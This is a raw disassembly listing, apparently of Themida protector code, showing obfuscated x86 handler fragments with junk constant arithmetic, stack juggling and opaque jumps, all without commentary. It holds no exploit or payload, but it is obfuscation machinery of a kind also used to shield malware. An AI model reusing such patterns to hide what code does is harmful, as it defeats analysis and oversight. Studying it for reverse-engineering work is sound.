; CODE XREF: Themida_:005AEA7Fj add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push ebp jmp loc_5A0C10 ; --------------------------------------------------------------------------- loc_59A886: ; CODE XREF: Themida_:0059DFB0j pop eax jmp loc_59D83F ; --------------------------------------------------------------------------- loc_59A88C: ; CODE XREF: Themida_:005A1F3Ej sub esi, 0CB022461h add eax, 6C5B08D6h push esi jmp loc_5AE2E5 ; --------------------------------------------------------------------------- loc_59A89D: ; CODE XREF: Themida_:005ACDC2j mov edx, 70CF126Eh add edx, 8F30ED96h sub edi, 4F10789h add edi, edx add edi, 4F10789h pop edx push ecx mov ecx, 4B5539FEh jmp loc_5A61B1 ; --------------------------------------------------------------------------- loc_59A8C2: ; CODE XREF: Themida_:005A332Cj mov ebx, 0A1E44CFh not ebx sub ebx, 7DD30D13h shr ebx, 4 jmp loc_5AB6BC ; --------------------------------------------------------------------------- loc_59A8D7: ; CODE XREF: Themida_:005A5655j mov esi, esp jmp loc_59ED78 ; --------------------------------------------------------------------------- loc_59A8DE: ; CODE XREF: Themida_:00599A56j sub edx, 0DA94AF3h push eax mov eax, 0F174F77h xor eax, 54040499h jmp loc_5A9C3B ; --------------------------------------------------------------------------- loc_59A8F4: ; CODE XREF: Themida_:005A4BB5j xor esi, 3942637Fh sub eax, esi pop esi jmp loc_59C3D2 ; --------------------------------------------------------------------------- push 36Fh mov [esp], edx jmp loc_5A1F04 ; --------------------------------------------------------------------------- loc_59A90F: ; CODE XREF: Themida_:005AEAF9j pop edi jmp loc_59FC43 ; --------------------------------------------------------------------------- loc_59A915: ; CODE XREF: Themida_:0059CF9Cj sub esp, 4 mov [esp], eax jmp loc_59CD95 ; --------------------------------------------------------------------------- loc_59A923: ; CODE XREF: Themida_:0059EB21j ; Themida_:005A3999j mov eax, [esp] add esp, 4 push edi mov edi, 2F157F5h jmp loc_59A16F ; --------------------------------------------------------------------------- loc_59A937: ; CODE XREF: Themida_:0059DEBCj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59A93C: ; CODE XREF: Themida_:005A87B1j xor edi, esi pop esi xor edi, 8DC7665h mov ebx, edi jmp loc_5AF0F5 ; --------------------------------------------------------------------------- loc_59A94C: ; CODE XREF: Themida_:005A45A4j mov edi, 0FA7E1AEDh add ecx, edi jmp loc_59C189 ; --------------------------------------------------------------------------- loc_59A958: ; CODE XREF: Themida_:005ACFE6j jns loc_59B995 sub eax, 8CE937E2h mov esi, eax mov eax, [esp] add esp, 4 push 27BEh mov [esp], ebp jmp $+5 mov ebp, 0EF37E161h jmp loc_59E7DA ; --------------------------------------------------------------------------- loc_59A985: ; CODE XREF: Themida_:0059E312j sub eax, ebp pop ebp push edi mov edi, 615B624Fh push 44D3h mov [esp], eax jmp loc_5A80AF ; --------------------------------------------------------------------------- loc_59A99B: ; CODE XREF: Themida_:0059FAEEj pop eax mov edx, 55155654h xor edx, eax pop eax push ebp push ecx mov ecx, 387970FAh mov ebp, ecx mov ecx, [esp] add esp, 4 xor ebp, 4D82555Bh jmp loc_59D79B ; --------------------------------------------------------------------------- loc_59A9BE: ; CODE XREF: Themida_:005AFA90j not edi xor edi, 315C08CEh or edi, 2DB65AD5h jmp loc_5A6EEC ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59A9D9: ; CODE XREF: Themida_:0059BB06j inc ecx jmp loc_59AA93 ; --------------------------------------------------------------------------- loc_59A9DF: ; CODE XREF: Themida_:0059D08Fj sub dword ptr [esp], 603B7E05h pop esi jmp loc_5A0718 ; --------------------------------------------------------------------------- loc_59A9EC: ; CODE XREF: Themida_:005A1315j or edx, 40486F74h add edx, 46F702C2h add esi, edx mov edx, [esp] add esp, 4 add esi, ecx push edx jmp loc_5AA21F ; --------------------------------------------------------------------------- loc_59AA08: ; CODE XREF: Themida_:005A6908j pop ebx pop edx sub cl, 0F0h jmp loc_5A7CAD ; --------------------------------------------------------------------------- loc_59AA12: ; CODE XREF: Themida_:005ACB34j add eax, 0B371528h mov esi, eax pop eax jmp loc_5AB68B ; --------------------------------------------------------------------------- loc_59AA1F: ; CODE XREF: Themida_:005A135Ej sub edx, 6E7A051Fh pop ecx shl edx, 5 push 4F82h mov [esp], esi push edx jmp loc_59ED58 ; --------------------------------------------------------------------------- loc_59AA37: ; CODE XREF: Themida_:005A228Aj sub eax, edx sub eax, 16B87547h pop edx push dword ptr [esp] pop ebp add esp, 4 movzx ax, byte ptr [eax] push small 3922h jmp loc_5AF54E ; --------------------------------------------------------------------------- loc_59AA56: ; CODE XREF: Themida_:0059D963j add ah, 3Fh jmp loc_5A383C ; --------------------------------------------------------------------------- loc_59AA5E: ; CODE XREF: Themida_:005AE4C2j xor ebx, eax jmp loc_59DC28 ; --------------------------------------------------------------------------- loc_59AA65: ; CODE XREF: Themida_:0059D4EBj pop esp mov [esp], ecx push 5175h mov [esp], esp add dword ptr [esp], 4 pop ecx push ebp jmp loc_59E2A9 ; --------------------------------------------------------------------------- loc_59AA7C: ; CODE XREF: Themida_:005ABF82j jmp loc_598E11 ; --------------------------------------------------------------------------- loc_59AA81: ; CODE XREF: Themida_:005A5D49j pop ecx jmp loc_5AB170 ; --------------------------------------------------------------------------- loc_59AA87: ; CODE XREF: Themida_:005A1B7Fj inc ebx jns loc_598D97 jmp loc_59C282 ; --------------------------------------------------------------------------- loc_59AA93: ; CODE XREF: Themida_:0059A9DAj shr ecx, 6 jmp loc_59FFE6 ; --------------------------------------------------------------------------- loc_59AA9B: ; CODE XREF: Themida_:005999DDj pop ecx jmp loc_5AC288 ; --------------------------------------------------------------------------- loc_59AAA1: ; CODE XREF: Themida_:0059F048j pop esp mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_5A1B1E ; --------------------------------------------------------------------------- loc_59AAB1: ; CODE XREF: Themida_:0059FDABj pop edi jmp loc_5A7E47 ; --------------------------------------------------------------------------- loc_59AAB7: ; CODE XREF: Themida_:0059AFCFj sub dl, 3Bh push ax mov ah, 0B7h or dl, ah jmp loc_5ADA61 ; --------------------------------------------------------------------------- loc_59AAC5: ; CODE XREF: Themida_:005A1B05j ; Themida_:005A398Cj xchg edx, ebx inc ebx jns loc_5A7C9D not ebx push ecx mov ecx, 0D953D005h add ebx, ecx pop ecx mov [ecx], ebx mov ebx, [esp] add esp, 4 pop ecx popa popf retn ; --------------------------------------------------------------------------- jmp loc_5A8178 ; --------------------------------------------------------------------------- loc_59AAEA: ; CODE XREF: Themida_:005A770Dj push 1429h jmp loc_59B349 ; --------------------------------------------------------------------------- loc_59AAF4: ; CODE XREF: Themida_:005A79AEj mov [esp], edi push ebx push ecx mov ecx, 4D101063h mov ebx, 0C3B839A5h jmp loc_5AEA0A ; --------------------------------------------------------------------------- loc_59AB08: ; CODE XREF: Themida_:0059A293j mov ebx, 4 add edi, ebx pop ebx jmp loc_5A37E0 ; --------------------------------------------------------------------------- loc_59AB15: ; CODE XREF: Themida_:005A3C3Aj add esi, 543DF0B0h add ebx, esi pop esi jmp loc_5AB62C ; --------------------------------------------------------------------------- loc_59AB23: ; CODE XREF: Themida_:005AD5FDj add al, 0F9h add al, dl sub al, 0F9h pop dx sub al, 8Bh add al, ch add al, 8Bh jmp loc_5AE0B6 ; --------------------------------------------------------------------------- loc_59AB36: ; CODE XREF: Themida_:0059DBC6j mov eax, 39192449h neg eax add eax, 686706B9h push ecx mov ecx, 5CA79E6Dh xor eax, ecx pop ecx add ebx, eax mov eax, [esp] jmp loc_5A3818 ; --------------------------------------------------------------------------- loc_59AB55: ; CODE XREF: Themida_:0059E121j pop ebp push dword ptr [esp] pop edi add esp, 4 sub ebx, 6ED40959h add ebx, 312E4B4Ah jmp loc_59C430 ; --------------------------------------------------------------------------- loc_59AB71: ; CODE XREF: Themida_:005AB151j and esi, 67EF454Eh xor esi, 5A8F4E3Bh sub edx, esi jmp loc_59F6F1 ; --------------------------------------------------------------------------- loc_59AB84: ; CODE XREF: Themida_:0059A462j mov dl, cl mov ah, dl mov edx, [esp] add esp, 4 mov ecx, [esp] push 2459h mov [esp], edi mov edi, esp add edi, 4 push esi mov esi, 4 add edi, esi mov esi, [esp] add esp, 4 push edi push dword ptr [esp+4] jmp loc_5AB8D3 ; --------------------------------------------------------------------------- loc_59ABBC: ; CODE XREF: Themida_:005A4B08j push ecx mov ecx, esp jmp loc_5A883E ; --------------------------------------------------------------------------- loc_59ABC4: ; CODE XREF: Themida_:005A013Dj ; Themida_:005A41E2j pop esi sub ebp, 1191A15h sub ebp, eax add ebp, 1191A15h jmp loc_5A8A47 ; --------------------------------------------------------------------------- loc_59ABD8: ; CODE XREF: Themida_:0059C8E8j mov [esp], ebp mov ebp, 60694804h add eax, ebp pop ebp push dword ptr [esp] pop ebp jmp loc_5AA9A4 ; --------------------------------------------------------------------------- loc_59ABEC: ; CODE XREF: Themida_:005A10C6j sub ebx, 0F413C86h push ebp push ecx mov ecx, 50C563B4h sub ecx, 76584375h jle loc_5A2A50 sub ecx, 218C4AE7h or ecx, 758692Bh pop eax loc_59AC12: ; CODE XREF: Themida_:0059E697j sub ebx, 526348FCh add edi, ebx pop ebx sub esp, 4 mov [esp], edx mov edx, 160D7CA6h not edx jmp loc_5A0E28 ; --------------------------------------------------------------------------- loc_59AC30: ; CODE XREF: Themida_:005AE634j push ebx mov ebx, 18FE39FBh jmp loc_59F246 ; --------------------------------------------------------------------------- loc_59AC3B: ; CODE XREF: Themida_:005A7B3Cj xor ecx, [esp] jmp loc_5ADC2E ; --------------------------------------------------------------------------- loc_59AC43: ; CODE XREF: Themida_:005A248Bj pop ebp mov ecx, edi mov edi, [esp] add esp, 4 sub ecx, 108B0CE6h xor ecx, 772B17BAh add edx, 7E4549A7h jmp loc_5A3C82 ; --------------------------------------------------------------------------- loc_59AC63: ; CODE XREF: Themida_:0059E8F7j push ebx mov bh, 0D0h xor bh, 0Eh jmp loc_5ADE3C ; --------------------------------------------------------------------------- loc_59AC6E: ; CODE XREF: Themida_:005A00BAj sub esp, 4 mov [esp], edi mov edi, 72F00C0h add eax, edi mov edi, [esp] add esp, 4 xor eax, 73F7B28Fh add ebx, 615260DBh sub ebx, 2AD240D1h add ebx, eax add ebx, 2AD240D1h sub ebx, 615260DBh mov eax, [esp] add esp, 4 push edi mov edi, 4 add ebx, edi pop edi xor ebx, [esp] xor [esp], ebx jmp loc_5AD6CB ; --------------------------------------------------------------------------- loc_59ACC0: ; CODE XREF: Themida_:0059B553j xor ecx, 18656A8Ah jmp loc_5A0131 ; --------------------------------------------------------------------------- loc_59ACCB: ; CODE XREF: Themida_:0059DAFDj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp or [edi+1Ch], eax push dword ptr [esp] jmp loc_5A6BAF ; --------------------------------------------------------------------------- loc_59ACE0: ; CODE XREF: Themida_:005A0478j mov [esp], ebp jmp loc_59F2DB ; --------------------------------------------------------------------------- loc_59ACE8: ; CODE XREF: Themida_:005A580Dj mov eax, 52FF1E7Fh or eax, 1C9D7902h add eax, 4FF62795h jmp loc_5A1D8E ; --------------------------------------------------------------------------- loc_59ACFC: ; CODE XREF: Themida_:005A3956j push 60AAh mov [esp], edx push esi mov esi, 5EB22E72h jmp $+5 sub esi, 31AB0BF1h jns loc_5AE146 and esi, 202F34D4h jge loc_5A7A95 pop eax loc_59AD28: ; CODE XREF: Themida_:0059F6A8j add edx, 4 push edx push dword ptr [esp+4] pop edx jmp loc_5ADFDB ; --------------------------------------------------------------------------- loc_59AD36: ; CODE XREF: Themida_:0059A21Ej push esi sub esp, 4 mov [esp], ebx push esi push edi push 501D3E58h pop edi xor edi, 39434EF8h mov esi, edi pop edi jmp loc_5A4BA9 ; --------------------------------------------------------------------------- loc_59AD56: ; CODE XREF: Themida_:005A5F6Aj and edi, 0BF17D5Dh jmp loc_5A3FB1 ; --------------------------------------------------------------------------- loc_59AD61: ; CODE XREF: Themida_:005AF7CBj pop edx jmp loc_5A8B88 ; --------------------------------------------------------------------------- loc_59AD67: ; CODE XREF: Themida_:0059FD30j sub edx, edi add edx, 36775A5h mov edi, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_59CBD5 ; --------------------------------------------------------------------------- loc_59AD80: ; CODE XREF: Themida_:005A278Bj ; Themida_:005A6D5Dj push ebx mov ebx, esp jmp loc_59A3E7 ; --------------------------------------------------------------------------- loc_59AD88: ; CODE XREF: Themida_:005A82D2j pop esi jmp loc_5AFAC0 ; --------------------------------------------------------------------------- loc_59AD8E: ; CODE XREF: Themida_:00598DEEj mov eax, [esp] jmp loc_5A9919 ; --------------------------------------------------------------------------- loc_59AD96: ; CODE XREF: Themida_:0059C8AAj pop ecx add esp, 4 add ebx, 11C94550h add ebx, 160D733Bh add ebx, eax sub ebx, 160D733Bh push ecx push edx jmp loc_5A58D0 ; --------------------------------------------------------------------------- loc_59ADB5: ; CODE XREF: Themida_:005A53A2j add edx, ecx pop ecx xchg edx, [esp] jmp loc_59DB02 ; --------------------------------------------------------------------------- loc_59ADC0: ; CODE XREF: Themida_:0059F635j push eax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59ADC7: ; CODE XREF: Themida_:0059E278j and edi, edx pop edx jmp loc_5A0033 ; --------------------------------------------------------------------------- loc_59ADCF: ; CODE XREF: Themida_:0059FC64j xor ecx, 11BCCD48h add esi, ecx pop ecx sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], edx push ebx mov bh, 0E7h jmp loc_599338 ; --------------------------------------------------------------------------- loc_59ADEC: ; CODE XREF: Themida_:005A73E7j xor esi, edx pop edx add ebx, esi jmp loc_5A4C3A ; --------------------------------------------------------------------------- loc_59ADF6: ; CODE XREF: Themida_:005A543Aj mov edx, 2 mov ecx, edx mov edx, [esp] add esp, 4 jmp loc_5AF1EF ; --------------------------------------------------------------------------- loc_59AE08: ; CODE XREF: Themida_:0059D741j pop ebx sub edx, 94A08EBh jmp loc_5AF911 ; --------------------------------------------------------------------------- loc_59AE14: ; CODE XREF: Themida_:005AFA50j jnp loc_59DBA5 xor ebp, 2C2365F3h and ebp, 12C24932h shl ebp, 8 and ebp, 22061D26h xor ebp, 798C0404h sub ebp, 1046C984h add edi, ebp pop ebp add edi, ecx sub edi, 6B454A80h mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], esi push 2 mov esi, [esp] add esp, 4 sub edi, 0FAD7AF2h jmp loc_5A1646 ; --------------------------------------------------------------------------- loc_59AE7B: ; CODE XREF: Themida_:005AD53Ej or eax, 1FAD363Ah and eax, 19255280h sub eax, 0C9B449C4h sub edi, eax pop eax push dword ptr [esp] pop ebx add esp, 4 push ecx push edx jmp loc_59C51C ; --------------------------------------------------------------------------- loc_59AE9E: ; CODE XREF: Themida_:005A8516j pop eax add esp, 4 push ebp sub esp, 4 push 6B70h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 add ebp, 4 sub esp, 4 mov [esp], ebx jmp loc_59BCD7 ; --------------------------------------------------------------------------- loc_59AEDA: ; CODE XREF: Themida_:0059FEB5j push dword ptr [esp+4] jmp loc_59CEA6 ; --------------------------------------------------------------------------- loc_59AEE3: ; CODE XREF: Themida_:00598C00j add ebx, eax jmp loc_5A8CC3 ; --------------------------------------------------------------------------- loc_59AEEA: ; CODE XREF: Themida_:005ABD1Cj mov ebx, edx pop edx jmp loc_5ADCF0 ; --------------------------------------------------------------------------- loc_59AEF2: ; CODE XREF: Themida_:005A6F2Dj pop edx add edx, 0EB50E4h pop ebp push ebx mov ebx, 61361196h sub ebp, ebx pop ebx sub ebp, 5ED860DAh add ebp, edx jmp loc_5992D6 ; --------------------------------------------------------------------------- loc_59AF10: ; CODE XREF: Themida_:005AAA24j add ebp, ebx add ebp, 3D9000F3h pop ebx jmp loc_59E220 ; --------------------------------------------------------------------------- loc_59AF1E: ; CODE XREF: Themida_:0059F856j add ebp, 4767FB1Bh push edi mov edi, 24EC77DBh and edi, 1959523Fh and edi, 74751703h or edi, 96C6E50h inc edi sub edi, 0E59B4E17h xor ebp, edi pop edi xor ebp, 68E87FE7h sub ebp, 6A7420DDh xor ebp, 0FE75503Dh add ecx, ebp pop ebp xchg ecx, [esp] jmp loc_5A8CA9 ; --------------------------------------------------------------------------- loc_59AF63: ; CODE XREF: Themida_:005A7914j pop ebx jmp loc_59D922 ; --------------------------------------------------------------------------- loc_59AF69: ; CODE XREF: Themida_:005A208Fj pop esp push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push 71CFh jmp loc_5A7E62 ; --------------------------------------------------------------------------- loc_59AF8C: ; CODE XREF: Themida_:0059A3EDj add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A8E1B ; --------------------------------------------------------------------------- loc_59AF9B: ; CODE XREF: Themida_:0059CA62j add esp, 4 shr eax, 4 jmp loc_5A3F8B ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59AFB9: ; CODE XREF: Themida_:0059A52Cj xchg ecx, [esp] mov esp, [esp] push ebp push esp pop ebp add ebp, 4 jmp loc_5A45A9 ; --------------------------------------------------------------------------- loc_59AFCD: ; CODE XREF: Themida_:005ADD2Ej neg dl jmp loc_59AAB7 ; --------------------------------------------------------------------------- loc_59AFD4: ; CODE XREF: Themida_:005AAE34j push edi mov edi, 4 jmp loc_5A07BB ; --------------------------------------------------------------------------- loc_59AFDF: ; CODE XREF: Themida_:005A90D6j and esi, 1A403F7Ah jmp loc_5A9256 ; --------------------------------------------------------------------------- loc_59AFEA: ; CODE XREF: Themida_:005AF32Fj add esp, 2 sub ch, 0FFh and ch, 3Ah dec ch jmp loc_5AF4FE ; --------------------------------------------------------------------------- loc_59AFFD: ; CODE XREF: Themida_:005AC2C9j ; Themida_:005AE1FDj jmp loc_59F1F3 ; --------------------------------------------------------------------------- loc_59B002: ; CODE XREF: Themida_:005AF0E9j push ebx push edx pop ebx pop edx jmp loc_59EDFD ; --------------------------------------------------------------------------- loc_59B00B: ; CODE XREF: Themida_:005A8A8Aj jmp loc_59F2FF ; --------------------------------------------------------------------------- loc_59B010: ; CODE XREF: Themida_:005AD069j shr edx, 1 jmp loc_5A20E8 ; --------------------------------------------------------------------------- loc_59B017: ; CODE XREF: Themida_:005AEC1Aj inc ebp js loc_59FDDC push edi mov edi, 3F373278h shl edi, 5 push edi jmp loc_59A067 ; --------------------------------------------------------------------------- loc_59B02D: ; CODE XREF: Themida_:005A67EFj jno loc_598AA6 and edi, 35C641F7h js loc_59E3D7 mov ecx, edi loc_59B041: ; CODE XREF: Themida_:0059E02Bj pop esp mov [esp], ecx mov cl, 2 sub cl, 0F7h jmp loc_5AA6F8 ; --------------------------------------------------------------------------- loc_59B04F: ; CODE XREF: Themida_:005A2BBAj sub esp, 4 mov [esp], ebx push ecx push eax mov ah, 0D1h mov ch, ah pop eax sub ch, 0B9h push edx push ebx mov bl, ch mov dl, bl pop ebx mov bh, dl pop edx mov ecx, [esp] add esp, 4 push edx mov dl, 4Dh jmp loc_5AE02E ; --------------------------------------------------------------------------- loc_59B077: ; CODE XREF: Themida_:005AECEEj shr esi, 6 jmp loc_5A277A ; --------------------------------------------------------------------------- loc_59B07F: ; CODE XREF: Themida_:005AC05Ej mov [esp], esi mov esi, 670A3209h shr esi, 8 add esi, 0FF98F5CEh sub esp, 4 mov [esp], esi push edi mov edi, 188C72B3h jmp loc_5A18CF ; --------------------------------------------------------------------------- loc_59B0A4: ; CODE XREF: Themida_:005A7FF2j mov ebx, 5E062581h inc ebx neg ebx shr ebx, 3 not ebx xor ebx, 35E026FFh sub ebx, 73E3B93Dh sub eax, ebx pop ebx pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mul cx push small 4B4h mov [esp], dx push ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- mov eax, [esp] sub esp, 4 mov [esp], ecx push edi mov edi, esp add edi, 4 push edx mov edx, 4 jmp loc_5AB0BB ; --------------------------------------------------------------------------- loc_59B100: ; CODE XREF: Themida_:0059E677j pop edi pop edx push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_5A5A88 ; --------------------------------------------------------------------------- loc_59B116: ; CODE XREF: Themida_:005AE1E8j add edx, 3C834EFEh jmp loc_5AF6D8 ; --------------------------------------------------------------------------- loc_59B121: ; CODE XREF: Themida_:005A6C9Bj pop ebx xor edi, 3CFF2B87h push eax mov eax, 0A8F10D8h jmp loc_5AF4D3 ; --------------------------------------------------------------------------- loc_59B133: ; CODE XREF: Themida_:00599F75j mov esp, [esp] mov [esp], edi push 61376279h pop edi sub esp, 4 mov [esp], ebx mov ebx, 59201FCDh xor edi, ebx jmp loc_5AD1FB ; --------------------------------------------------------------------------- loc_59B151: ; CODE XREF: Themida_:005AE699j mov ecx, [esp] add esp, 4 add ecx, edx mov edx, [esp] jmp loc_5AA9E9 ; --------------------------------------------------------------------------- loc_59B164: ; CODE XREF: Themida_:005A87D4j ; Themida_:loc_5ABBF5j jmp loc_5AAF7C ; --------------------------------------------------------------------------- loc_59B169: ; CODE XREF: Themida_:005A27EAj and al, 0C9h or al, 33h not al push ecx jmp loc_5A1AE9 ; --------------------------------------------------------------------------- loc_59B175: ; CODE XREF: Themida_:005A1905j mov ecx, 33521D95h neg ecx jle loc_5AAD5A sub ecx, 39A2348Fh jbe loc_59D33B push esp loc_59B18F: ; CODE XREF: Themida_:005A1734j mov [esp], eax push esp pop eax add eax, 4 jmp loc_5A5FAA ; --------------------------------------------------------------------------- loc_59B19E: ; CODE XREF: Themida_:005AFDDDj jmp loc_5A4F38 ; --------------------------------------------------------------------------- loc_59B1A3: ; CODE XREF: Themida_:0059FBA2j push ebx mov ebx, 71C16199h or ebx, 21533FE1h shr ebx, 6 push edx jmp loc_59A0B7 ; --------------------------------------------------------------------------- loc_59B1B8: ; CODE XREF: Themida_:0059A77Fj xchg edi, [esp] pop esp push ebx mov ebx, esp push edx jmp loc_5A5660 ; --------------------------------------------------------------------------- loc_59B1C5: ; CODE XREF: Themida_:005A9AE1j push dword ptr [esp+4] jmp loc_5A6981 ; --------------------------------------------------------------------------- loc_59B1CE: ; CODE XREF: Themida_:005AAE6Dj push 34D5h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop esi jmp loc_5A5002 ; --------------------------------------------------------------------------- loc_59B1E3: ; CODE XREF: Themida_:005A075Ej ; Themida_:005A93D9j mov esp, [esp] jmp loc_5ABFBF ; --------------------------------------------------------------------------- loc_59B1EB: ; CODE XREF: Themida_:005A9430j mov dl, 0B7h xor ah, dl mov edx, [esp] add esp, 4 shl ah, 2 jnp loc_5A305E add ah, 95h shl ah, 5 js loc_5A99DC xor ah, 9 jmp loc_59BEA4 ; --------------------------------------------------------------------------- loc_59B215: ; CODE XREF: Themida_:005A24FCj mov [esp], ecx jmp loc_5A7BB9 ; --------------------------------------------------------------------------- loc_59B21D: ; CODE XREF: Themida_:0059A351j push edi push ebx mov ebx, 39D5792Ch add ebx, 45F92B53h jmp loc_59ED32 ; --------------------------------------------------------------------------- loc_59B22F: ; CODE XREF: Themida_:0059CAE4j sub ch, 0B1h sub ch, dl add ch, 0B1h push dword ptr [esp] push dword ptr [esp] pop edx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push esi mov esi, esp add esi, 4 push edx mov edx, 4 add esi, edx pop edx xchg esi, [esp] pop esp sub esp, 2 mov [esp], ax push ebx mov bh, 11h xor bh, 0EFh jno loc_59BDAA shl bh, 5 jnp loc_59E8FC and bh, 6Ch push ebx loc_59B287: ; CODE XREF: Themida_:005A7778j inc eax jo loc_5A4A8C shl eax, 5 jmp loc_5A4F0B ; --------------------------------------------------------------------------- loc_59B296: ; CODE XREF: Themida_:005A6DFAj push 0C8D0DE4h jmp loc_5A2284 ; --------------------------------------------------------------------------- loc_59B2A0: ; DATA XREF: Themida_:00598720o mov esp, [esp] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59B2A8: ; CODE XREF: Themida_:0059912Cj ; Themida_:0059F3EEj xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59B2B9: ; CODE XREF: Themida_:0059D324j mov [esp], ecx jmp loc_5A9CEF ; --------------------------------------------------------------------------- loc_59B2C1: ; CODE XREF: Themida_:loc_5A08ADj shl edi, 8 jz loc_5A41BF shr edi, 5 jp loc_5A3FE5 add edi, 0FD05424Ch add [esp+4], edi mov edi, [esp] mov esi, eax loc_59B2E2: ; CODE XREF: Themida_:005A3714j push 27EBh mov [esp], edx mov edx, 44804925h xor ecx, edx mov edx, [esp] add esp, 4 shr ecx, 7 add ecx, 2F129A97h add eax, ecx jmp loc_59D3DF ; --------------------------------------------------------------------------- loc_59B307: ; CODE XREF: Themida_:00599844j mov esp, [esp] sub [edi+24h], esi pop esi loc_59B30E: ; CODE XREF: Themida_:0059A0DAj push 5CC2h mov [esp], ecx jmp loc_5AD255 ; --------------------------------------------------------------------------- loc_59B31B: ; CODE XREF: Themida_:005AC4C4j xor ebp, 68DBED8Dh sub esi, ebp jmp loc_5AA740 ; --------------------------------------------------------------------------- loc_59B328: ; CODE XREF: Themida_:005A2775j mov dl, 0F2h or dl, 0EFh dec dl jno loc_5AAFC2 add dl, 5Dh jnb loc_5ABB7F mov esi, ebp loc_59B340: ; CODE XREF: Themida_:005A2663j not eax xor edx, eax jmp loc_5AE684 ; --------------------------------------------------------------------------- loc_59B349: ; CODE XREF: Themida_:0059AAEFj mov [esp], edi jmp loc_5A31E4 ; --------------------------------------------------------------------------- loc_59B351: ; CODE XREF: Themida_:005A226Bj sub esp, 4 mov [esp], edi mov edi, 2 jmp loc_5ACAD7 ; --------------------------------------------------------------------------- lodsb push eax mov eax, esp add eax, 4 push ebp mov ebp, 4 sub eax, ebp pop ebp jmp loc_5A8355 ; --------------------------------------------------------------------------- loc_59B37B: ; CODE XREF: Themida_:005A492Fj ; Themida_:005A8B1Aj shr esi, 5 push ebx jmp loc_5AC819 ; --------------------------------------------------------------------------- loc_59B384: ; CODE XREF: Themida_:0059D556j ; Themida_:005A8F34j add esi, 46C466E4h add esi, edx sub esi, 46C466E4h pop edx add ebx, esi jmp loc_5ADE89 ; --------------------------------------------------------------------------- loc_59B39A: ; CODE XREF: Themida_:005AAC0Cj lodsb jmp loc_59E60D ; --------------------------------------------------------------------------- loc_59B3A0: ; CODE XREF: Themida_:005A05E0j add esp, 4 push dword ptr [esp] mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp add esp, 4 push ecx push ebx mov ebx, 648E27D1h push ebx pop ecx pop ebx jmp loc_59C14B ; --------------------------------------------------------------------------- loc_59B3D4: ; CODE XREF: Themida_:0059980Aj xor ah, 0EFh mov bh, ah jmp loc_5A565A ; --------------------------------------------------------------------------- loc_59B3DE: ; CODE XREF: Themida_:005AAFBDj jmp loc_59C189 ; --------------------------------------------------------------------------- loc_59B3E3: ; CODE XREF: Themida_:005AEB08j xor esi, [esp] pop esp push 6ADBh mov [esp], edi jmp loc_5A0A58 ; --------------------------------------------------------------------------- loc_59B3F4: ; CODE XREF: Themida_:005A75ACj ; Themida_:005AAFD5j pop edx shl ah, 7 sub ah, 1 jmp loc_5AF285 ; --------------------------------------------------------------------------- loc_59B400: ; CODE XREF: Themida_:005A2303j inc ecx jmp loc_5A64EA ; --------------------------------------------------------------------------- loc_59B406: ; CODE XREF: Themida_:00599B21j mov esp, [esp] push 28A6h mov [esp], ecx push 3278h jmp loc_59EFE6 ; --------------------------------------------------------------------------- loc_59B41B: ; CODE XREF: Themida_:005A71D7j push ebx push edi mov edi, 60F407AEh jmp loc_59E862 ; --------------------------------------------------------------------------- loc_59B427: ; CODE XREF: Themida_:005A88CBj mov esi, 58576824h jmp loc_59A1D9 ; --------------------------------------------------------------------------- loc_59B431: ; CODE XREF: Themida_:005A7354j mov edx, eax pop eax push dword ptr [esp] pop esi push 1AB8h mov [esp], edx jmp loc_5AA7E5 ; --------------------------------------------------------------------------- loc_59B445: ; CODE XREF: Themida_:005A2468j xor ecx, [esp] xor [esp], ecx jmp loc_5A30C7 ; --------------------------------------------------------------------------- loc_59B450: ; CODE XREF: Themida_:005AEB8Cj pop esi mov ebp, [esp] jmp loc_5A2ED6 ; --------------------------------------------------------------------------- loc_59B459: ; CODE XREF: Themida_:005AD96Fj push eax mov eax, 0A7F4CA6h inc eax and eax, 2FEF4242h jz loc_5A3343 add eax, 0F24A6378h xor edx, eax pop eax sub ebx, 7DAE11E2h sub ebx, edx add ebx, 7DAE11E2h pop edx xchg ebx, [esp] mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59B498: ; CODE XREF: Themida_:005A61F4j mov edi, esi jmp loc_5A8DDD ; --------------------------------------------------------------------------- loc_59B49F: ; CODE XREF: Themida_:005A811Dj ; Themida_:005ABCA3j push dx mov dl, 0EEh xor bl, dl pop dx jmp loc_59C21D ; --------------------------------------------------------------------------- loc_59B4AC: ; CODE XREF: Themida_:0059D803j pop ecx add esp, 4 jmp loc_5A0800 ; --------------------------------------------------------------------------- loc_59B4B8: ; CODE XREF: Themida_:005ACC72j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_59A583 ; 